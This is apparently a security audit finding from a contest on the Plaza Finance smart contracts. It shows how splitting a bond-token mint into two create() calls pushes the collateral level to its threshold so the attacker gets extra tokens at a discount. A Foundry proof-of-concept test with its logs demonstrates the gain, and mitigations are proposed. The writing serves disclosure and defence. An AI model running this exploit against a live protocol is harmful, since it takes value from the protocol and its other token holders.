Docile Iron Seal

High

# Attacker can exploit getCreateAmount() to mint more than expected tokens

## Description
The current mechanics of [getCreateAmount()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L306) allows an attacker to mint some bond tokens and push the CL (collateral level) down to threshold value. They can then mint additional bond tokens at a discounted rate. Example:

Imagine that `Current CL = 1.2e6 + 1` which is greater than the threshold of `1.2e6`. 
### Normal Path:
1. Bob the honest user wants to mint some bond tokens by investing 100 reserve tokens.
2. He receives `30000` bond tokens.

### Attack Path:
1. Alice the attacker wants to mint bond tokens too using her 100 reserve tokens.
2. Step1: She first calls `create()` with `10` reserve tokens and receives `300` bond tokens.
3. The CL is pushed down to threshold value of `1.2e6` and now a discounted rate will be applied due to the logic [here](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L329-L333).
4. Step2: She calls `create()` again with `90` reserve tokens and receives `30937` bond tokens.
5. Total bond tokens received = `300 + 30937 = 31237`.

Now Alice can wait for either the `ethPrice` to rise due to natural price movements or arbitrage or even via minting of leverage tokens which tend to push CL up. Once CL is above threshold, redeem for a profit. This profit would be higher than what Bob would've managed to get with his normal investment path.

## Impact
- **Bond Token Impact:** Attacker can mint more tokens than expected by gaming the system and profit. Also, holding more bond tokens for the same investment amount means a higher fixed, predictable income regardless of market volatility. Or in other words, the excess bondTokens create larger fixed USDC obligations for the protocol through coupon payments. 
- **Leverage Token Impact:** When bondToken supply increases, it [reduces the adjusted value available to levToken holders](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L339-L343). The attacker's ability to mint more bondTokens than intended means:
    - More bondSupply than should exist
    - Lower adjustedValue than should exist
    - This means levToken holders get more extreme leverage than intended
```js
uint256 adjustedValue = tvl - (BOND_TARGET_PRICE * bondSupply);
creationRate = (adjustedValue * PRECISION) / assetSupply;
```

This means a higher profit when the price moves in their favor, extracting more value than the protocol intended.

## Proof of Concept
### 1. Observe the vulnerability through existing test case
Let's first observe the issue by running an [existing test case](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/test/Pool.t.sol#L181) and adding loggers to it. We witness that minting some bond tokens pushes the CL downwards.
Make the following changes and run the test to see the output:
<details>

<summary>
Click to Expand
</summary>

```diff
  function testCreate() public {
    initializeTestCasesFixedEth();
    vm.startPrank(governance);
    Token rToken = Token(params.reserveToken);

-   for (uint256 i = 0; i < calcTestCases.length; i++) {
+   for (uint256 i = 1; i < 2; i++) {
      if (calcTestCases[i].inAmount == 0) {
        continue;
      }

      // Mint reserve tokens
      rToken.mint(governance, calcTestCases[i].TotalUnderlyingAssets + calcTestCases[i].inAmount);
      rToken.approve(address(poolFactory), calcTestCases[i].TotalUnderlyingAssets);

      string memory salt = i.toString();
      
      // Create pool and approve deposit amount
      Pool _pool = Pool(poolFactory.createPool(params, calcTestCases[i].TotalUnderlyingAssets, calcTestCases[i].DebtAssets, calcTestCases[i].LeverageAssets, "", salt, "", "", false));
      useMockPool(address(_pool));
      rToken.approve(address(_pool), calcTestCases[i].inAmount);

+     Pool.PoolInfo memory pool_info = _pool.getPoolInfo();
+     uint256 currentTVL = (3000e8 * pool_info.reserve).toBaseUnit(8);
+     uint256 currentCL = (currentTVL * 1e6) / (pool_info.bondSupply * 100);
+     console2.log("current tvl =", currentTVL);
+     console2.log("current CL  =", currentCL);

      uint256 startBondBalance = BondToken(_pool.bondToken()).balanceOf(governance);
      uint256 startLevBalance = LeverageToken(_pool.lToken()).balanceOf(governance);
      uint256 startReserveBalance = rToken.balanceOf(governance);

      vm.expectEmit(true, true, true, true);
      emit Pool.TokensCreated(governance, governance, calcTestCases[i].assetType, calcTestCases[i].inAmount, calcTestCases[i].expectedCreate);

      // Call create and assert minted tokens
      uint256 amount = _pool.create(calcTestCases[i].assetType, calcTestCases[i].inAmount, 0);
      assertEq(amount, calcTestCases[i].expectedCreate);

      uint256 endBondBalance = BondToken(_pool.bondToken()).balanceOf(governance);
      uint256 endLevBalance = LeverageToken(_pool.lToken()).balanceOf(governance);
      uint256 endReserveBalance = rToken.balanceOf(governance);
      assertEq(calcTestCases[i].inAmount, startReserveBalance-endReserveBalance);

      if (calcTestCases[i].assetType == Pool.TokenType.BOND) {
        assertEq(amount, endBondBalance-startBondBalance);
        assertEq(0, endLevBalance-startLevBalance);
      } else {
        assertEq(0, endBondBalance-startBondBalance);
        assertEq(amount, endLevBalance-startLevBalance);
      }

+     pool_info = _pool.getPoolInfo();
+     uint256 updatedTVL = (3000e8 * pool_info.reserve).toBaseUnit(8);
+     uint256 updatedCL = (updatedTVL * 1e6) / (pool_info.bondSupply * 100);
+     console2.log("\n");
+     console2.log("updated tvl =", updatedTVL);
+     console2.log("updated CL  =", updatedCL);

      // Reset reserve state
      rToken.burn(governance, rToken.balanceOf(governance));
      rToken.burn(address(_pool), rToken.balanceOf(address(_pool)));

      resetReentrancy(address(_pool));
    }
  }
```

</details>
<br>

The test made use of the [following existing configuration](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/test/data/TestCases.sol#L1396-L1406):
```js
    calcTestCases.push(CalcTestCase({
        assetType: Pool.TokenType.BOND,
        inAmount: 1250,
        ethPrice: 0, // not used
        TotalUnderlyingAssets: 1200456789222,
        DebtAssets: 25123456789,
        LeverageAssets: 1321654987,
        expectedCreate: 37500,
        expectedRedeem: 41,
        expectedSwap: 0
    }));
```

and the output logs show:
```text
[PASS] testCreate() (gas: 8581604)
Logs:

  current tvl = 3601370367666000
  current CL  = 1433469286  <---- ðŸ”´

  updated tvl = 3601370371416000
  updated CL  = 1433467148  <---- is less than ðŸ”´. The CL reduces after minting bondTokens.
```
<br>

### 2. Weaponize the Vulnerability
Add the following inside `test/Pool.t.sol` to see it pass when run with `forge test --mt testCreateBug -vv`:
<details>

<summary>
Click to View
</summary>

```js
  function testCreateBug() public {
    uint256 inAmount1 = 10;
    uint256 inAmount2 = 990;

    uint256 TotalUnderlyingAssets = 1000000834;
    uint256 DebtAssets = 25000000000;
    uint256 LeverageAssets = 1000000000;
    
    vm.startPrank(governance);
    Token rToken = Token(params.reserveToken);

    // Mint reserve tokens
    rToken.mint(governance, TotalUnderlyingAssets * 2);
    rToken.approve(address(poolFactory), type(uint256).max);

    // Create pool and approve deposit amount
    uint i = 42;
    string memory salt = i.toString();
    Pool _pool = Pool(poolFactory.createPool(params, TotalUnderlyingAssets, DebtAssets, LeverageAssets, "", salt, "", "", false));
    useMockPool(address(_pool));
    rToken.approve(address(_pool), type(uint256).max);
    Pool.PoolInfo memory current = _pool.getPoolInfo();
    uint256 currentTVL = (3000e8 * current.reserve).toBaseUnit(8);
    uint256 currentCL = (currentTVL * 1e6) / (current.bondSupply * 100);
    console2.log("\n");
    console2.log("current tvl =", currentTVL);
    console2.log("current CL  =", currentCL); // @audit-info : CL is above threshold
    assertGt(currentCL, 1.2e6, "not above threshold!");

    //************** CASE 1 : One-step bond token mint ****************** */
    // Take current state's snapshot
    uint256 snapshot = vm.snapshot();
    
    uint256 amountBondTokens = _pool.create(Pool.TokenType.BOND, inAmount1 + inAmount2, 0);
    console2.log("\nCase 1: \ntotal bond tokens minted via one-step route =", amountBondTokens);

    // reset state to that of snapshot's
    vm.revertTo(snapshot);
    //******************************************************************** */


    // ATTACK PATH ---------->

    //************** CASE 2 : Two-step bond token mint ****************** */
    console2.log("\nCase 2:");
    // STEP 1: mint bond tokens and push CL to threshold
    uint256 amount1 = _pool.create(Pool.TokenType.BOND, inAmount1, 0);
    console2.log("step1: amount1 =", amount1);
    Pool.PoolInfo memory updated = _pool.getPoolInfo();
    uint256 updatedTVL = (3000e8 * updated.reserve).toBaseUnit(8);
    uint256 updatedCL = (updatedTVL * 1e6) / (updated.bondSupply * 100);
    console2.log("updated tvl1 =", updatedTVL);
    console2.log("updated CL1  =", updatedCL); // @audit : gets lowered & equals threshold now
    assertEq(updatedCL, 1.2e6, "still above threshold!");

    // STEP 2: mint more bond tokens at discounted rate    
    uint256 amount2 = _pool.create(Pool.TokenType.BOND, inAmount2, 0);
    console2.log("step2: amount2 =", amount2);
    console2.log("\ntotal bond tokens minted via two-step route =", amount1 + amount2);

    assertGt(amount1 + amount2, amountBondTokens, "Failed attack: no gain of reserveTokens"); // @audit-issue : attacker profited
    //******************************************************************** */
  }
```

</details>
<br>

Output:
```text
Ran 1 test for test/Pool.t.sol:PoolTest
[PASS] testCreateBug() (gas: 7808978)
Logs:

  current tvl = 3000002502000
  current CL  = 1200001  <---- ðŸ”´ CL is above threshold of 1.2e6

Case 1: 
total bond tokens minted via one-step route = 30000  <---- ðŸŸ¢
  
Case 2:
  step1: amount1 = 300
  updated tvl1 = 3000002532000
  updated CL1  = 1200000  <---- ðŸ”´ CL goes down to threshold of 1.2e6
  step2: amount2 = 30937
  
total bond tokens minted via two-step route = 31237  <---- is greater than ðŸŸ¢

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 73.42ms (42.29ms CPU time)
```


## Mitigation 
The protocol could choose to:
1. Either add a check that the tx should revert if it causes healthy CL to become `<= 1.2e6` OR
2. As a general check, change the calculation mechanics so that CL does not deteriorate upon minting bond tokens.